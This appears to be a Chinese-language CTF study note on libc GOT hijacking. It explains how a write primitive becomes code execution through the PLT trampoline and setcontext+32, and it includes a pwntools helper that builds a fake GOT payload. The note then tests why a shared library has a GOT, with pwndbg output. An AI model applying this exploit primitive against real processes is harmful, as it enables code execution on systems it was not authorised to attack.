头文件和 so 动态库对应。
Libc-GOT-Hijacking
got-hijackin 作用 write -> RCE
trampoline
相关符号
>>> hex(libc.dynamic_value_by_tag("DT_PLTGOT"))
'0x1ec000'
>>> hex(libc.get_section_by_name(".plt").header.sh_addr)
'0x22000'
用到了一个弹簧
pwndbg> x/2i 0x7ffff7dcf000 + 0x22000
0x7ffff7df1000: push QWORD PTR [rip+0x1ca002] # 0x7ffff7fbb008
0x7ffff7df1006: bnd jmp QWORD PTR [rip+0x1ca003] # 0x7ffff7fbb010
把我们填充好的伪造的 linkmap 入栈,然后调用伪造的 runtime resolver (实际上是 setcontext+32)
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0), # blank
p64(got + 0x218), # rdi in setcontext
p64(libc.symbols["setcontext"] + 32), # fake runtime resolver
p64(plt_trampoline) * 0x40, # fake GOT
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
libc 为啥有 GOT 表?
GOT 是做为可执行文件的时候有的吗?当他作为动态连接库的时候也可以使用…GOT 来跳转?
尝试一下,参考了 GNU libc.so 如何既是共享对象又是独立的可执行文件
//myso.c
#include <unistd.h>
char const __invoke_dynamic_linker__[] __attribute__ ((section (".interp")))
#ifdef __LP64__
= "/lib64/ld-linux-x86-64.so.2";
#else
= "/lib/ld-linux.so.2";
#endif
void fun1(){
write(1, "11", 2);
}
void fun2(){
fun1();
}
void _start(void)
{
static char const msg[] = "Hello world!\n";
fun1();
write(STDOUT_FILENO, msg, sizeof msg - 1);
_exit(0);
}
fun2 是通过 GOT 来跳转到 fun1 的,而 fun2 不存在于 GOT 表中
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/ctf/hacker/myso.so:
GOT protection: Partial RELRO | Found 3 GOT entries passing the filter
[0x555555558018] _exit@GLIBC_2.2.5 -> 0x555555555030 ◂— endbr64
[0x555555558020] write@GLIBC_2.2.5 -> 0x555555555040 ◂— endbr64
[0x555555558028] fun1 -> 0x555555555050 ◂— endbr64
fun2 如下
pwndbg> disass fun2
Dump of assembler code for function fun2:
0x000000000000117a <+0>: endbr64
0x000000000000117e <+4>: push rbp
0x000000000000117f <+5>: mov rbp,rsp
0x0000000000001182 <+8>: mov eax,0x0
0x0000000000001187 <+13>: call 0x1090 <fun1@plt>
0x000000000000118c <+18>: nop
0x000000000000118d <+19>: pop rbp
0x000000000000118e <+20>: ret
所以看起来只有可执行文件时调用的函数存放在 GOT 中。但是我没有找到文档 哎